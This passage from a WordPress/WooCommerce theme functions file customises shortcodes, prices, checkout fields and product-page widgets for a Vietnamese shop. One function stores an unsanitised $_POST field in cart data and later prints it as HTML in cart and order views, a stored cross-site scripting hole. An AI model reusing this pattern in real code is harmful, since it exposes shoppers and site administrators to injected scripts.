image_hover_alt="zoom"]'),array('name'=>__('Grid'),'content'=>'[ux_product_categories style="overlay" type="grid" grid="3" columns="3" animate="fadeInLeft" number="4" orderby="name" image_size="large" image_overlay="rgba(38, 38, 38, 0.16)" text_pos="middle" text_size="large"]'),array('name'=>__('Circle Style'),'content'=>'[ux_product_categories style="overlay" slider_nav_style="simple" slider_nav_position="outside" image_height="100%" image_radius="100" image_overlay="rgba(0, 0, 0, 0.19)" image_hover="overlay-remove-50" image_hover_alt="zoom" text_pos="middle" text_size="large" text_hover="bounce"]'),array('name'=>__('Grid Dark'),'content'=>'[ux_product_categories style="overlay" type="grid" grid="13" col_spacing="small" columns="3" depth_hover="5" animate="fadeInLeft" number="5" orderby="name" image_size="large" image_overlay="rgba(38, 38, 38, 0.16)" image_hover="color" image_hover_alt="zoom-long" text_pos="middle" text_size="large"]'),),'options'=>$options));}add_action('ux_builder_setup','ts_ux_product_categories');add_action('woocommerce_shop_loop_item_title','add_star_rating');function add_star_rating(){global $woocommerce,$product;$average=$product->get_average_rating();echo '<div class="star-rating"><span style="width:'.(($average/5)*100).'%"><strong itemprop="ratingValue" class="rating">'.$average.'</strong> '.__('out of 5','woocommerce').'</span></div>';}function ts_ux_blog_posts_buyed(){$dir_shortcodes=get_template_directory().'/inc/builder/shortcodes';$repeater_columns='4';$repeater_type='slider';$repeater_post_type='post';$repeater_col_spacing='normal';$repeater_post_cat='category';$repeater_post_tag='post_tag';$default_text_align='center';if(!isset($repeater_posts))$repeater_posts='posts';if(!isset($repeater_post_type))$repeater_post_type='post';if(!isset($repeater_post_cat))$repeater_post_cat='category';$options=array('style_options'=>array('type'=>'group','heading'=>__('Style'),'options'=>array('style'=>array('type'=>'select','heading'=>__('Style'),'default'=>'','options'=>require($dir_shortcodes.'/values/box-layouts.php'))),),'layout_options'=>require($dir_shortcodes.'/commons/repeater-options.php'),'layout_options_slider'=>require($dir_shortcodes.'/commons/repeater-slider.php'),'post_options'=>array('type'=>'group','heading'=>__('Posts'),'options'=>array('ids'=>array('type'=>'select','heading'=>'Custom Posts','param_name'=>'ids','config'=>array('multiple'=>true,'placeholder'=>'Select..','postSelect'=>array('post_type'=>array($repeater_post_type)),)),'cat'=>array('type'=>'select','heading'=>'Category','param_name'=>'cat','conditions'=>'ids === ""','default'=>'','config'=>array('multiple'=>true,'placeholder'=>'Select...','termSelect'=>array('post_type'=>$repeater_post_cat,'taxonomies'=>$repeater_post_cat),)),'tag'=>array('type'=>'select','heading'=>'Tag','param_name'=>'tag','conditions'=>'ids === ""','default'=>'','config'=>array('multiple'=>true,'placeholder'=>'Select...','termSelect'=>array('post_type'=>$repeater_post_tag,'taxonomies'=>$repeater_post_tag),)),$repeater_posts=>array('type'=>'textfield','heading'=>'Total Posts','conditions'=>'ids === ""','default'=>'8',),'offset'=>array('type'=>'textfield','heading'=>'Offset','conditions'=>'ids === ""','default'=>'',),)),'post_title_options'=>array('type'=>'group','heading'=>__('Title'),'options'=>array('title_size'=>array('type'=>'select','heading'=>'Title Size','default'=>'','options'=>require($dir_shortcodes.'/values/sizes.php')),'title_style'=>array('type'=>'radio-buttons','heading'=>'Title Style','default'=>'','options'=>array(''=>array('title'=>'Abc'),'uppercase'=>array('title'=>'ABC'),)),)),'read_more_button'=>array('type'=>'group','heading'=>__('Read More'),'options'=>array('readmore'=>array('type'=>'textfield','heading'=>'Text','default'=>'',),'readmore_color'=>array('type'=>'select','heading'=>'Color','conditions'=>'readmore','default'=>'','options'=>array(''=>'Default','primary'=>'Primary','secondary'=>'Secondary','alert'=>'Alert','success'=>'Success','white'=>'White',)),'readmore_style'=>array('type'=>'select','heading'=>'Style','conditions'=>'readmore','default'=>'outline','options'=>array(''=>'Default','outline'=>'Outline','link'=>'Simple','underline'=>'Underline','shade'=>'Shade','bevel'=>'Bevel','gloss'=>'Gloss',)),'readmore_size'=>array('type'=>'select','conditions'=>'readmore','heading'=>'Size','default'=>'','options'=>require($dir_shortcodes.'/values/sizes.php'),),)),'post_meta_options'=>array('type'=>'group','heading'=>__('Meta'),'options'=>array('show_date'=>array('type'=>'select','heading'=>'Date','default'=>'badge','options'=>array('badge'=>'Badge','text'=>'Text','false'=>'Hidden',)),'badge_style'=>array('type'=>'select','heading'=>'Badge Style','default'=>'','conditions'=>'show_date == "badge"','options'=>array(''=>'Default','outline'=>'Outline','square'=>'Square','circle'=>'Circle','circle-inside'=>'Circle Inside',)),'excerpt'=>array('type'=>'select','heading'=>'Excerpt','default'=>'visible','options'=>array('visible'=>'Visible','fade'=>'Fade In On Hover','slide'=>'Slide In On Hover','reveal'=>'Reveal On Hover','false'=>'Hidden',)),'excerpt_length'=>array('type'=>'slider','heading'=>'Excerpt Length','default'=>15,'max'=>50,'min'=>5,),'show_category'=>array('type'=>'select','heading'=>'Category','default'=>'false','options'=>array('label'=>'Label','text'=>'Text','false'=>'Hidden',)),'comments'=>array('type'=>'select','heading'=>'Comments','default'=>'visible','options'=>array('visible'=>'Visible','false'=>'Hidden',)),),),);$box_styles=require($dir_shortcodes.'/commons/box-styles.php');$options=array_merge($options,$box_styles);add_ux_builder_shortcode('blog_posts',array('name'=>__('TS Blog Posts'),'thumbnail'=>get_template_directory_uri().'/inc/builder/shortcodes/thumbnails/blog_posts.svg','category'=>__('Content'),'priority'=>2,'options'=>$options));}add_action('ux_builder_setup','ts_ux_blog_posts_buyed');function overwrite_blog_posts(){function blog_posts_new($atts,$content=null,$tag){extract(shortcode_atts(array("_id"=>'row-'.rand(),'style'=>'','class'=>'','visibility'=>'',"columns"=>'4',"columns__sm"=>'1',"columns__md"=>'','col_spacing'=>'',"type"=>'slider','width'=>'','grid'=>'1','grid_height'=>'600px','grid_height__md'=>'500px','grid_height__sm'=>'400px','slider_nav_style'=>'reveal','slider_nav_position'=>'','slider_nav_color'=>'','slider_bullets'=>'false','slider_arrows'=>'true','auto_slide'=>'false','infinitive'=>'true','depth'=>'','depth_hover'=>'','posts'=>'8','ids'=>false,'cat'=>'','tag'=>'','category'=>'','excerpt'=>'visible','excerpt_length'=>15,'offset'=>'','readmore'=>'','readmore_color'=>'','readmore_style'=>'outline','readmore_size'=>'small','post_icon'=>'true','comments'=>'true','show_date'=>'badge','badge_style'=>'','show_category'=>'false','title_size'=>'large','title_style'=>'','animate'=>'','text_pos'=>'bottom','text_padding'=>'','text_bg'=>'','text_size'=>'','text_color'=>'','text_hover'=>'','text_align'=>'center','image_size'=>'medium','image_width'=>'','image_radius'=>'','image_height'=>'56%','image_hover'=>'','image_hover_alt'=>'','image_overlay'=>'','image_depth'=>'','image_depth_hover'=>'',),$atts));if($visibility=='hidden')return;ob_start();$classes_box=array();$classes_image=array();$classes_text=array();if($style=='text-overlay'){$image_hover='zoom';}$style=str_replace('text-','',$style);if($type=='grid'){if(!$text_pos)$text_pos='center';$columns=0;$current_grid=0;$grid=flatsome_get_grid($grid);$grid_total=count($grid);flatsome_get_grid_height($grid_height,$_id);}if($style=='overlay'&&!$image_overlay)$image_overlay='rgba(0,0,0,.25)';if($style)$classes_box[]='box-'.$style;if($style=='overlay')$classes_box[]='dark';if($style=='shade')$classes_box[]='dark';if($style=='badge')$classes_box[]='hover-dark';if($text_pos)$classes_box[]='box-text-'.$text_pos;if($image_hover)$classes_image[]='image-'.$image_hover;if($image_hover_alt)$classes_image[]='image-'.$image_hover_alt;if($image_height)$classes_image[]='image-cover';if($text_hover)$classes_text[]='show-on-hover hover-'.$text_hover;if($text_align)$classes_text[]='text-'.$text_align;if($text_size)$classes_text[]='is-'.$text_size;if($text_color=='dark')$classes_text[]='dark';$css_args_img=array(array('attribute'=>'border-radius','value'=>$image_radius,'unit'=>'%'),array('attribute'=>'width','value'=>$image_width,'unit'=>'%'),);$css_image_height=array(array('attribute'=>'padding-top','value'=>$image_height),);$css_args=array(array('attribute'=>'background-color','value'=>$text_bg),array('attribute'=>'padding','value'=>$text_padding),);if($animate){$animate='data-animate="'.$animate.'"';}$classes_text=implode(' ',$classes_text);$classes_image=implode(' ',$classes_image);$classes_box=implode(' ',$classes_box);$repeater['id']=$_id;$repeater['tag']=$tag;$repeater['type']=$type;$repeater['class']=$class;$repeater['visibility']=$visibility;$repeater['style']=$style;$repeater['slider_style']=$slider_nav_style;$repeater['slider_nav_position']=$slider_nav_position;$repeater['slider_nav_color']=$slider_nav_color;$repeater['slider_bullets']=$slider_bullets;$repeater['auto_slide']=$auto_slide;$repeater['row_spacing']=$col_spacing;$repeater['row_width']=$width;$repeater['columns']=$columns;$repeater['columns__md']=$columns__md;$repeater['columns__sm']=$columns__sm;$repeater['depth']=$depth;$repeater['depth_hover']=$depth_hover;$args=array('post_status'=>'publish','post_type'=>'post','offset'=>$offset,'cat'=>$cat,'tag_id'=>$tag,'posts_per_page'=>$posts,'ignore_sticky_posts'=>true);if(get_theme_mod('flatsome_fallback',0)&&$category){$args['category_name']=$category;}if(!empty($ids)){$ids=explode(',',$ids);$ids=array_map('trim',$ids);$args=array('post__in'=>$ids,'post_type'=>array('post','featured_item',),'numberposts'=>-1,'orderby'=>'post__in','posts_per_page'=>9999,'ignore_sticky_posts'=>true,);}$recentPosts=new WP_Query($args);get_flatsome_repeater_start($repeater);while($recentPosts->have_posts()):$recentPosts->the_post();$col_class=array('post-item');if(get_post_format()=='video')$col_class[]='has-post-icon';if($type=='grid'){if($grid_total>$current_grid)$current_grid++;$current=$current_grid-1;$col_class[]='grid-col';if($grid[$current]['height'])$col_class[]='grid-col-'.$grid[$current]['height'];if($grid[$current]['span'])$col_class[]='large-'.$grid[$current]['span'];if($grid[$current]['md'])$col_class[]='medium-'.$grid[$current]['md'];if($grid[$current]['size'])$image_size=$grid[$current]['size'];if($grid[$current]['size']=='thumbnail')$excerpt='false';}  ?>
<div class="col <?php echo implode(' ',$col_class);  ?>" <?php echo $animate;  ?>>
<div class="col-inner">
<a href="<?php the_permalink()  ?>" class="plain" title="<?php the_title();  ?>">
<div class="box <?php echo $classes_box;  ?> box-blog-post has-hover">
<?php if(has_post_thumbnail()){  ?>
<div class="box-image" <?php echo get_shortcode_inline_css($css_args_img);  ?>>
<div class="<?php echo $classes_image;  ?>" <?php echo get_shortcode_inline_css($css_image_height);  ?>>
<?php the_post_thumbnail($image_size);  ?>
<?php if($image_overlay){  ?><div class="overlay" style="background-color: <?php echo $image_overlay;  ?>"></div><?php }  ?>
<?php if($style=='shade'){  ?><div class="shade"></div><?php }  ?>
</div>
<?php if($post_icon&&get_post_format()){  ?>
<div class="absolute no-click x50 y50 md-x50 md-y50 lg-x50 lg-y50">
<div class="overlay-icon">
<i class="icon-play"></i>
</div>
</div>
<?php }  ?>
</div><!-- .box-image -->
<?php }else{  ?>
<div class="box-image" <?php echo get_shortcode_inline_css($css_args_img);  ?>>
<div class="<?php echo $classes_image;  ?>" <?php echo get_shortcode_inline_css($css_image_height);  ?>>
<?php   ?>
<img src="<?= home_url() ?>/wp-content/uploads/no-image.png" alt="<?php the_title();  ?>">
<?php if($image_overlay){  ?><div class="overlay" style="background-color: <?php echo $image_overlay;  ?>"></div><?php }  ?>
<?php if($style=='shade'){  ?><div class="shade"></div><?php }  ?>
</div>
<?php if($post_icon&&get_post_format()){  ?>
<div class="absolute no-click x50 y50 md-x50 md-y50 lg-x50 lg-y50">
<div class="overlay-icon">
<i class="icon-play"></i>
</div>
</div>
<?php }  ?>
</div><!-- .box-image -->
<?php }  ?>
<div class="box-text <?php echo $classes_text;  ?>" <?php echo get_shortcode_inline_css($css_args);  ?>>
<div class="box-text-inner blog-post-inner">

<?php do_action('flatsome_blog_post_before');  ?>

<?php if($show_category!=='false'){  ?>
<p class="cat-label <?php if($show_category=='label')echo 'tag-label';  ?> is-xxsmall op-7 uppercase">
<?php foreach((get_the_category())as $cat){echo '<span>'.$cat->cat_name.'</span> ';}  ?>
</p>
<?php }  ?>
<h5 class="post-title is-<?php echo $title_size;  ?> <?php echo $title_style;  ?>"><?php the_title();  ?></h5>
<?php if((!has_post_thumbnail()&&$show_date!=='false')||$show_date=='text'){  ?><div class="post-meta is-small op-8"><?php echo get_the_date();  ?></div><?php }  ?>
<div class="is-divider"></div>
<?php if($excerpt!=='false'){  ?>
<p class="from_the_blog_excerpt <?php if($excerpt!=='visible'){echo 'show-on-hover hover-'.$excerpt;}  ?>"><?php $the_excerpt=get_the_excerpt();$excerpt_more=apply_filters('excerpt_more',' [...]');echo flatsome_string_limit_words($the_excerpt,$excerpt_length).$excerpt_more;  ?>
</p>
<?php }  ?>
<?php if($comments=='true'&&comments_open()&&'0'!=get_comments_number()){  ?>
<p class="from_the_blog_comments uppercase is-xsmall">
<?php $comments_number=get_comments_number(get_the_ID());printf(_n('%s Comment','%s Comments',$comments_number,'flatsome'),number_format_i18n($comments_number))  ?>
</p>
<?php }  ?>

<?php if($readmore){  ?>
<button href="<?php echo get_the_permalink();  ?>" class="button <?php echo $readmore_color;  ?> is-<?php echo $readmore_style;  ?> is-<?php echo $readmore_size;  ?> mb-0">
<?php echo $readmore;  ?>
</button>
<?php }  ?>

<?php do_action('flatsome_blog_post_after');  ?>

</div><!-- .box-text-inner -->
</div><!-- .box-text -->
<?php if(has_post_thumbnail()&&($show_date=='badge'||$show_date=='true')){  ?>
<?php if(!$badge_style)$badge_style=get_theme_mod('blog_badge_style','outline');  ?>
<div class="badge absolute top post-date badge-<?php echo $badge_style;  ?>">
<div class="badge-inner">
<span class="post-date-day"><?php echo get_the_time('d',get_the_ID());  ?></span><br>
<span class="post-date-month is-xsmall"><?php echo get_the_time('M',get_the_ID());  ?></span>
</div>
</div>
<?php }  ?>
</div><!-- .box -->
</a><!-- .link -->
</div><!-- .col-inner -->
</div><!-- .col -->
<?php endwhile;wp_reset_query();get_flatsome_repeater_end($atts);$content=ob_get_contents();ob_end_clean();return $content;}remove_shortcode('blog_posts');add_shortcode('blog_posts','blog_posts_new');}add_action('wp_loaded','overwrite_blog_posts');add_action('wsgr_after_product_cat',function(){if(is_product_category()){echo do_shortcode('[block id="block-after-category-product"]');}});register_sidebar(array('name'=>'Filter Box','id'=>'filter-box','description'=>'Filter Box','before_widget'=>'<div class="%2$s filter-box">','after_widget'=>'</div>','before_title'=>'<span>','after_title'=>'</span>'));if(!function_exists('my_commonPriceHtml')){function my_commonPriceHtml($price_amt,$regular_price,$sale_price){$html_price='';if(($price_amt==$sale_price)&&($sale_price!=0)){$html_price.=''.wc_price($sale_price).'';$html_price.='<del>'.wc_price($regular_price).'</del>';}else if(($price_amt==$sale_price)&&($sale_price==0)){$html_price.='<span class="amount">'.__('Liên hệ','woocommerce').'</span>';}else if(($price_amt==$regular_price)&&($regular_price!=0)){$html_price.=''.wc_price($regular_price).'';}else if(($price_amt==$regular_price)&&($regular_price==0)){$html_price.='<span class="amount">'.__('Liên hệ','woocommerce').'</span>';}return $html_price;}}add_filter('woocommerce_get_price_html','my_simple_product_price_html',150,2);function my_simple_product_price_html($price,$product){if($product->is_type('simple')){$regular_price=$product->get_regular_price();$sale_price=$product->get_sale_price();$price_amt=$product->get_price();return my_commonPriceHtml($price_amt,$regular_price,$sale_price);}else{return $price;}}add_filter('woocommerce_variation_sale_price_html','my_variable_product_price_html',10,2);add_filter('woocommerce_variation_price_html','my_variable_product_price_html',10,2);function my_variable_product_price_html($price,$variation){$variation_id=$variation->variation_id;$variable_product=new WC_Product($variation_id);$regular_price=$variable_product->get_regular_price();$sale_price=$variable_product->get_sale_price();$price_amt=$variable_product->get_price();return my_commonPriceHtml($price_amt,$regular_price,$sale_price);}add_filter('woocommerce_variable_sale_price_html','my_variable_product_minmax_price_html',10,2);add_filter('woocommerce_variable_price_html','my_variable_product_minmax_price_html',10,2);function my_variable_product_minmax_price_html($price,$product){$variation_min_price=$product->get_variation_price('min',true);$variation_max_price=$product->get_variation_price('max',true);$variation_min_regular_price=$product->get_variation_regular_price('min',true);$variation_max_regular_price=$product->get_variation_regular_price('max',true);if(($variation_min_price==$variation_min_regular_price)&&($variation_max_price==$variation_max_regular_price)){$html_min_max_price=$price;}else{$html_price='';$html_price.=''.wc_price($variation_min_price).'-'.wc_price($variation_max_price).'';$html_price.=''.wc_price($variation_min_regular_price).'-'.wc_price($variation_max_regular_price).'';$html_min_max_price=$html_price;}return $html_min_max_price;}remove_action('woocommerce_single_product_summary','woocommerce_template_single_rating',10);add_action('wsgr_woocommerce_single_rating','woocommerce_template_single_rating',11);function wsgr_phien_ban_khac(){global $product;$current_id=$product->get_id();$related_other_version=get_field('related_other_version');$related_short_title=get_field('related_short_title');$current_short_title=!empty($related_short_title)?$related_short_title:$product->get_name();$product->get_name();if(isset($related_other_version)&&is_array($related_other_version)){echo '<div>Bạn đang xem phiên bản: <strong>'.$current_short_title.'</strong></div>';$slide_html='[ux_slider slide_width="100%" infinitive="false" hide_nav="true" nav_pos="outside" nav_size="normal" nav_style="simple" nav_color="dark" bullets="false" auto_slide="false" pause_hover="false" class="slider-phien-ban-khac"]';foreach($related_other_version as $related_product_id){$active_class=($current_id==$related_product_id)?'active':'';$related_product=wc_get_product($related_product_id);$related_short_title=get_field('related_short_title',$related_product_id);$get_permalink=get_permalink($related_product_id);$slide_html.='[ts_div class="phien-ban-khac '.$active_class.' cot-'.count($related_other_version).'"]';$slide_html.='<a href="'.$get_permalink.'">';$slide_html.=!empty($related_short_title)?'<h4>'.$related_short_title.'</h4>':'<h4>'.$related_product->get_name().'</h4>';$slide_html.='<span>'.wc_price($related_product->get_price()).'</span>';$slide_html.='</a>';$slide_html.='[/ts_div]';}$slide_html.='[/ux_slider]';}echo do_shortcode($slide_html);}add_action('woocommerce_single_product_summary','wsgr_phien_ban_khac',9);add_action('wsgr_like_share_box','wsgr_like_share_box_func');function wsgr_like_share_box_func(){$social=get_option('wpseo_social');$fb_app_id=$social['fbadminapp'];$fb_app_id_default=!empty($fb_app_id)?$fb_app_id:'651356532450979';echo '<div id="fb-root"></div>
<script async defer crossorigin="anonymous" src="https://connect.facebook.net/vi_VN/sdk.js#xfbml=1&version=v9.0&appId='.$fb_app_id_default.'&autoLogAppEvents=1" nonce="RTC1KPBx"></script>';echo '<div class="fb-like" data-href="'.get_permalink().'" data-width="" data-layout="button_count" data-action="like" data-size="small" data-share="true"></div>';}function wsgr_label_after_price_product_summary(){$label_style=get_field('label_style');$label_text=get_field('label_text');echo!empty($label_text)?'<span class="label '.$label_style.'">'.$label_text.'</span>':'';}add_action('woocommerce_single_product_summary','wsgr_label_after_price_product_summary',13);function wsgr_promotion_box(){$khuyen_mai_tieu_de=get_field('khuyen_mai_tieu_de');$khuyen_mai_ghi_chu=get_field('khuyen_mai_ghi_chu');$khuyen_mai_noi_dung=get_field('khuyen_mai_noi_dung');if(!empty($khuyen_mai_noi_dung)){  ?>
<div class="promotion-box"><div class="promotion-box-header"><h4><?= $khuyen_mai_tieu_de ?></h4><span><?= $khuyen_mai_ghi_chu ?></span></div><div class="promotion-box-body"><?= $khuyen_mai_noi_dung ?></div></div>
<?php }}add_action('woocommerce_single_product_summary','wsgr_promotion_box',14);function wsgr_policy_box(){$ben_trong_text=get_field('chinh_sach_ben_trong_text');$ben_trong_image=get_field('chinh_sach_ben_trong_image');  ?>
<?php echo do_shortcode('[block id="block-right-product"]');  ?>
<ul class="policy-box"><?php if(!empty($ben_trong_text)){if(!empty($ben_trong_image)){echo '<li class="icon-in-box">Bộ sản phẩm gồm: <a href="#product-image-kit">'.$ben_trong_text.'</a></li>';}else{echo '<li class="icon-in-box">Bộ sản phẩm gồm: <span>'.$ben_trong_text.'</span></li>';}}  ?><?=  do_shortcode('[lightbox id="product-image-kit" padding="10px"]<img src="'.$ben_trong_image.'" title="Bộ sản phẩm gồm: '.$ben_trong_text.'"><div>Bộ sản phẩm gồm: '.$ben_trong_text.'</div>[/lightbox]') ?></ul>
<?php }add_action('wsgr_after_single_product_info','wsgr_policy_box');function func_after_single_product_description(){global $product;  ?>
<?php if(have_rows('tskt')): ?><?php while(have_rows('tskt')):the_row(); ?><h2>Thông số kỹ thuật</h2><ul class="tskt"><?php $tskt=get_field('tskt');foreach($tskt as $k=>$v){$row_tskt=get_sub_field_object($k);echo!empty($row_tskt['value'])?'<li><span>'.$row_tskt['label'].': </span><div>'.$row_tskt['value'].'</div></li>':'';} ?></ul><?php endwhile; ?><?php endif; ?>
<?php $hinh_anh_chi_tiet=get_field('hinh_anh_chi_tiet');$lightbox_chct='[lightbox id="cau-hinh-chi-tiet" padding="10px"]';$lightbox_chct.='<h2>Thông số kỹ thuật chi tiết '.$product->get_name().'</h2>';$lightbox_chct.=!empty($hinh_anh_chi_tiet)?'<img src="'.$hinh_anh_chi_tiet.'">':'';$lightbox_chct.='<ul class="chct">'; ?><?php if(have_rows('chct')): ?><?php while(have_rows('chct')):the_row(); ?><a class="button see-more"href="#cau-hinh-chi-tiet">Xem thêm cấu hình chi tiết</a><?php $chct=get_field('chct');foreach($chct as $k1=>$v1){$row_chct=get_sub_field_object($k1);$row_chct_value_arr=$row_chct['value'];if(array_filter($row_chct_value_arr)){$lightbox_chct.='<li><label>'.$row_chct['label'].'</label></li>';}if(have_rows($row_chct['_name'])):while(have_rows($row_chct['_name'])):the_row();foreach($row_chct_value_arr as $row_chct_value_key=>$row_chct_value_value){$row_chct_value_obj=get_sub_field_object($row_chct_value_key);$lightbox_chct.=!empty($row_chct_value_obj['value'])?'<li><span>'.$row_chct_value_obj['label'].'</span><div>'.$row_chct_value_obj['value'].'</div></li>':'';}endwhile;endif;}endwhile; ?><?php endif; ?><?php $lightbox_chct.='</ul>';$lightbox_chct.='[/lightbox]';echo do_shortcode($lightbox_chct); ?>
<?php }add_action('wsgr_after_single_product_description','func_after_single_product_description');add_filter("woocommerce_checkout_fields","order_fields");function order_fields($fields){$order_shipping=array("shipping_last_name","shipping_phone","shipping_address_1");foreach($order_shipping as $field_shipping){$ordered_fields2[$field_shipping]=$fields["shipping"][$field_shipping];}$fields["shipping"]=$ordered_fields2;return $fields;}add_filter('woocommerce_checkout_fields','custom_override_checkout_fields',99);function custom_override_checkout_fields($fields){unset($fields['billing']['billing_company']);unset($fields['billing']['billing_first_name']);unset($fields['billing']['billing_postcode']);unset($fields['billing']['billing_country']);unset($fields['billing']['billing_city']);unset($fields['billing']['billing_state']);unset($fields['billing']['billing_address_2']);unset($fields['billing']['billing_email']);unset($fields['order']['order_comments']);unset($fields['account']['account_password']);$fields['billing']['billing_first_name']=array('placeholder'=>_x('Giới tính','placeholder','wsgr'),'required'=>true,'class'=>array('hidden'),'priority'=>0,'clear'=>true);$fields['billing']['billing_last_name']=array('placeholder'=>_x('Họ và tên','placeholder','wsgr'),'required'=>true,'class'=>array('form-row-wide large-6'),'priority'=>1,'clear'=>true);$fields['billing']['billing_phone']=array('placeholder'=>_x('Số điện thoại','placeholder','wsgr'),'required'=>true,'class'=>array('form-row-wide large-6'),'priority'=>2,'clear'=>true);if('yes'===get_option('woocommerce_enable_signup_and_login_from_checkout')){$fields['billing']['billing_email']=array('placeholder'=>_x('Email','placeholder','wsgr'),'required'=>false,'class'=>array('form-row-wide large-12'),'priority'=>3,'clear'=>true);$fields['account']['account_username']=array('type'=>'text','placeholder'=>_x('Tên đăng nhập','placeholder','wsgr'),'required'=>true,'class'=>array('form-row-wide large-6'),'priority'=>4,'clear'=>true);$fields['account']['account_password']=array('placeholder'=>_x('Mật khẩu','placeholder','wsgr'),'type'=>'password','required'=>true,'class'=>array('form-row-wide large-6'),'priority'=>5,'clear'=>true);}$fields['billing']['billing_address_1']=array('placeholder'=>_x('Địa chỉ nhận hàng','placeholder','wsgr'),'required'=>true,'class'=>array('form-row-wide large-12'),'priority'=>15,'clear'=>true);$fields['order']['order_comments']=array('placeholder'=>_x('Yêu cầu khác (không bắt buộc)','placeholder','wsgr'),'class'=>array('form-row-wide large-12'),'priority'=>11,'clear'=>true);unset($fields['shipping']['shipping_company']);unset($fields['shipping']['shipping_postcode']);unset($fields['shipping']['shipping_country']);unset($fields['shipping']['shipping_city']);unset($fields['shipping']['shipping_state']);unset($fields['shipping']['shipping_address_2']);return $fields;}function wsgr_display_custom_field(){$dich_vu_vip=get_field('khuyen_mai_dich_vu_vip');echo '<div class="wsgr-custom-field-wrapper"><input type="hidden" id="wsgr-dich-vu-vip" name="wsgr-dich-vu-vip" value=""></div>';if(!empty($dich_vu_vip)){echo '<div class="dich-vu-vip">';echo $dich_vu_vip;echo '</div>';}}add_action('woocommerce_before_add_to_cart_button','wsgr_display_custom_field');function wsgr_add_custom_field_item_data($cart_item_data,$product_id,$variation_id,$quantity){if(!empty($_POST['wsgr-dich-vu-vip'])){$cart_item_data['dich_vu_vip_field']=$_POST['wsgr-dich-vu-vip'];}return $cart_item_data;}add_filter('woocommerce_add_cart_item_data','wsgr_add_custom_field_item_data',10,4);function wsgr_cart_item_name($name,$cart_item,$cart_item_key){if(isset($cart_item['dich_vu_vip_field'])){$name.=sprintf('<ul class="selected-list">%s</ul>',$cart_item['dich_vu_vip_field']);}return $name;}add_filter('woocommerce_cart_item_name','wsgr_cart_item_name',10,3);function wsgr_add_custom_data_to_order($item,$cart_item_key,$values,$order){foreach($item as $cart_item_key=>$values){if(isset($values['dich_vu_vip_field'])){$item->add_meta_data(__('Dịch vụ chọn thêm','wsgr'),'<ul class="selected-list">'.$values['dich_vu_vip_field'].'</ul>',true);}}}add_action('woocommerce_checkout_create_order_line_item','wsgr_add_custom_data_to_order',10,4);add_action('woocommerce_after_single_product','wsgr_readmore_flatsome');function wsgr_readmore_flatsome(){  ?>
<style type="text/css">
    .single-product div#tab-description {
        overflow: hidden;
        position: relative;
        padding-bottom: 25px;
    }
    .single-product .tab-panels div#tab-description.panel:not(.active) {
        height: 0 !important;
    }
    .wsgr_readmore_flatsome {
        text-align: center;
        cursor: pointer;
        position: absolute;
        z-index: 10;
        bottom: 0;
        width: 100%;
        background: #fff;
    }
    .wsgr_readmore_flatsome:before {
        height: 55px;
        margin-top: -45px;
        content: -webkit-gradient(linear,0% 100%,0% 0%,from(#fff),color-stop(.2,#fff),to(rgba(255,255,255,0)));
        display: block;
    }
    .wsgr_readmore_flatsome a {
        display: inline-block;
        box-shadow: none;
        color: #00aeef;
        font-size: 14px;
        line-height: 40px;
    }
    .wsgr_readmore_flatsome a:after {
        content: '';
        width: 0;
        right: 0;
        border-top: 6px solid #00aeef;
        border-left: 6px solid transparent;
        border-right: 6px solid transparent;
        display: inline-block;
        vertical-align: middle;
        margin: -2px 0 0 5px;
    }
    .wsgr_readmore_flatsome_less a:after {
        border-top: 0;
        border-left: 6px solid transparent;
        border-right: 6px solid transparent;
        border-bottom: 6px solid #00aeef;
    }
    .wsgr_readmore_flatsome_less:before {
        display: none;
    }
</style>
<script type="text/javascript">
    $(document).ready(function(){
        if($('.single-product div#tab-description').length > 0){
            var wrap = $('.single-product div#tab-description');
            var current_height = wrap.height();
            var your_height = 500;
            if(current_height > your_height){
                wrap.css('height', your_height+'px');
                wrap.append(function(){
                    return '<div class="wsgr_readmore_flatsome wsgr_readmore_flatsome_more"><a title="Xem thêm" href="javascript:void(0);">Xem thêm</a></div>';
                });
                wrap.append(function(){
                    return '<div class="wsgr_readmore_flatsome wsgr_readmore_flatsome_less" style="display: none;"><a title="Thu gọn" href="javascript:void(0);">Thu gọn</a></div>';
                });
                $('body').on('click','.wsgr_readmore_flatsome_more', function(){
                    wrap.removeAttr('style');
                    $('body .wsgr_readmore_flatsome_more').hide();
                    $('body .wsgr_readmore_flatsome_less').show();
                });
                $('body').on('click','.wsgr_readmore_flatsome_less', function(){
                    wrap.css('height', your_height+'px');
                    $('body .wsgr_readmore_flatsome_less').hide();
                    $('body .wsgr_readmore_flatsome_more').show();
                });
            }
        }
    })
</script>
<?php }function wsgr_post_related_product_widget(){register_widget('Post_Related_Product_Widget');}add_action('widgets_init','wsgr_post_related_product_widget');class Post_Related_Product_Widget extends WP_Widget{function __construct(){parent::__construct('post_related_product_widget','WSGR Post Related Product',array('description'=>'Danh sách bài viết liên quan sản phẩm'));}function form($instance){parent::form($instance);$default=array('title'=>'Bài viết liên quan');$instance=wp_parse_args((array) $instance,$default);$title=esc_attr($instance['title']);echo '<label>Nhập tiêu đề</label><input class="widefat" type="text" name="'.$this->get_field_name('title').'" value="'.$title.'" />';}function update($new_instance,$old_instance){parent::update($new_instance,$old_instance);$instance=$old_instance;$instance['title']=strip_tags($new_instance['title']);return $instance;}function widget($args,$instance){if(is_singular('product')){global $product;$related_posts=get_field('related_post','',true);extract($args);$title=apply_filters('widget_title',$instance['title']);echo $before_widget;if(isset($related_posts)&&is_array($related_posts)){echo $before_title.$title.' '.$product->get_name().$after_title;echo '<ul>';foreach($related_posts as $related_post){  ?>
<?php $image_style='style="background: url('.wp_get_attachment_thumb_url(get_post_thumbnail_id($related_post->ID)).'); border:0;"'; ?><li class="related-blog-posts-li"><div class="align-top flex-row pb-half pt-half"><div class="flex-col mr-half"><div class="badge post-date<?php if($is_image=='false')echo 'badge-small'; ?>badge-<?php echo flatsome_option('blog_badge_style'); ?>"><div class="badge-inner bg-fill"<?php echo $image_style; ?>><?php if($is_date_stamp=='true'||!has_post_thumbnail()||$is_image=='false'){ ?><span class="post-date-day"><?php echo get_the_time('d',$related_post->ID); ?></span><br><span class="is-xsmall post-date-month"><?php echo get_the_time('M',$related_post->ID); ?></span><?php } ?></div></div></div><div class="flex-col flex-grow"><a href="<?php the_permalink($related_post->ID) ?>"title="<?php echo $related_post->post_title; ?>"><?php echo $related_post->post_title  ?></a></div></div></li><?php }echo '</ul>';} ?>
